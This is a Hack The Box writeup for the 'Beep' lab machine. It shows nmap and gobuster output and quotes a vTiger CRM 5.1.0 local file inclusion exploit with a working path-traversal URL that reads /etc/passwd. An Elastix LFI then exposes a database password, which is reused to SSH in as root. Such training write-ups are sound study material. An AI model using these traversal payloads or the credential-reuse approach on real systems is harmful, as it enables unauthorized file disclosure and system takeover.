Hack the box Beep writeup



It is a easy linux machine from hack the box .

It involves port scanning enumerating webpages and exploiting that .

Hack the box Beep writeupI

Steps involved

1- Port Scanning
2-Enumerating web pages
3-Exploiting vitercrm(LFI)|User.txt
4-Exploiting Elastic PBX(LFI)
5-SSH into root

Commands invloved

1-nmap -sC -sV -O -v -oV
2-gobuster dir -k -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
3-ssh [email protected]

Port Scanning

Nmap 7.70 scan initiated Sun Apr 12 06:51:53 2020 as: nmap -sC -sV -O -v -oV
Increasing send delay for from 0 to 5 due to 189 out of 628 dropped probes since last increase.
Nmap scan report for
Host is up (0.28s latency).
Not shown: 988 closed ports
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 80/tcp open http Apache httpd 2.2.3 | http-methods: | Supported Methods: GET HEAD POST OPTIONS
|http-server-header: Apache/2.2.3 (CentOS) |_http-title: Did not follow redirect to 110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 |_pop3-capabilities: AUTH-RESP-CODE USER IMPLEMENTATION(Cyrus POP3 server v2) PIPELINING UIDL STLS APOP LOGIN-DELAY(0) EXPIRE(NEVER) RESP-CODES TOP 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 876/udp status | 100024 1 879/tcp status
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|imap-capabilities: Completed X-NETSCAPE RIGHTS=kxte OK LIST-SUBSCRIBED IMAP4rev1 LISTEXT ANNOTATEMORE ID THREAD=ORDEREDSUBJECT NAMESPACE URLAUTHA0001 ATOMIC BINARY CHILDREN SORT IDLE UNSELECT CATENATE SORT=MODSEQ THREAD=REFERENCES ACL CONDSTORE LITERAL+ MULTIAPPEND RENAME UIDPLUS QUOTA MAILBOX-REFERRALS STARTTLS IMAP4 NO 443/tcp open ssl/https? |_ssl-date: 2020-04-12T10:59:20+00:00; +3m38s from scanner time. 993/tcp open ssl/imap Cyrus imapd |_imap-capabilities: CAPABILITY 995/tcp open pop3 Cyrus pop3d 3306/tcp open mysql MySQL (unauthorized) 4445/tcp open upnotifyp? 10000/tcp open http MiniServ 1.570 (Webmin httpd) |_http-favicon: Unknown favicon MD5: 74F7F6F633A027FA3EA36F05004C9341 | http-methods: | Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
Uptime guess: 49.712 days (since Sat Feb 22 12:53:03 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=205 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: beep.localdomain,, example.com
Host script results:
|_clock-skew: mean: 3m37s, deviation: 0s, median: 3m37s
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sun Apr 12 06:58:50 2020 -- 1 IP address (1 host up) scanned in 417.37 seconds

Lots of ports are open but i always enumerate websites first.

Going to

Hack the box Beep writeupI

We can directly get root with elastic PBX exploit.But lets try something else.

Enumerating web pages

[email protected]:~/Desktop/htb/popcorn# gobuster dir -k -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
[+] Url:
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
2020/04/12 07:09:29 Starting gobuster
/images (Status: 301)
/help (Status: 301)
/themes (Status: 301)
/modules (Status: 301)
/mail (Status: 301)
/admin (Status: 301)
/static (Status: 301)
/lang (Status: 301)
/var (Status: 301)
/vitercrm(Status: 301)

So lets see exploits of vitercrm.

Exploiting vitercrm(LFI)|User.txt

Hack the box Beep writeupI

This is the exploit.

# Exploit Title: VTiger CRM # Google Dork: None # Date: 20/03/2012 # Author: Pi3rrot # Software Link: http://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.1.0/ # Version: 5.1.0 # Tested on: CentOS 6 # CVE : none We have find this vulnerabilitie in VTiger 5.1.0 In this example, you can see a Local file Inclusion in the file sortfieldsjson.php Try this : https://localhost/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/passwd%00

And it worked.

Hack the box Beep writeupI

Through this we are able to read the files so i tried to read user.txt.

Fanis user was having /home so i decided to check it first.

And it worked.

I tried to grab the id_rsa through this but i was not able to do .As there are no id_rsa i think.

Exploiting Elastic PBX(LFI)

So now lets exploit Elastic PBX.

Lets try LFI in it also.

Hack the box Beep writeupI

And it showed a juicy thing.

Hack the box Beep writeupI

In the middle i saw AMPDBPASS=jEhdIekWmdjE

SSH into root

I tried it for ssh as port 22 is open.

I tried it with root and got the root shell .

Hack the box Beep writeupI

And got the root flag.

[email protected]:~/Desktop/htb/beep# ssh [email protected]
The authenticity of host ' (' can't be established.
RSA key fingerprint is SHA256:Ip2MswIVDX1AIEPoLiHsMFfdg1pEJ0XXD5nFEjki/hI.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (RSA) to the list of known hosts.
[email protected]'s password:
Last login: Tue Jul 16 11:45:47 2019
Welcome to Elastix
To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
[[email protected] ~]# whoami
[[email protected] ~]# ls
anaconda-ks.cfg elastix-pr-2.2-1.i386.rpm install.log install.log.syslog postnochroot root.txt webmin-1.570-1.noarch.rpm
[[email protected] ~]# cat root.txt

How useful was this post?

Click on a star to rate it!

Average rating 0 / 5. Vote count: 0

No votes so far! Be the first to rate this post.

As you found this post useful...

Follow us on social media!

We are sorry that this post was not useful for you!

Let us improve this post!

Tell us how we can improve this post?

1 thought on “Hack the box Beep writeup”

Leave a Comment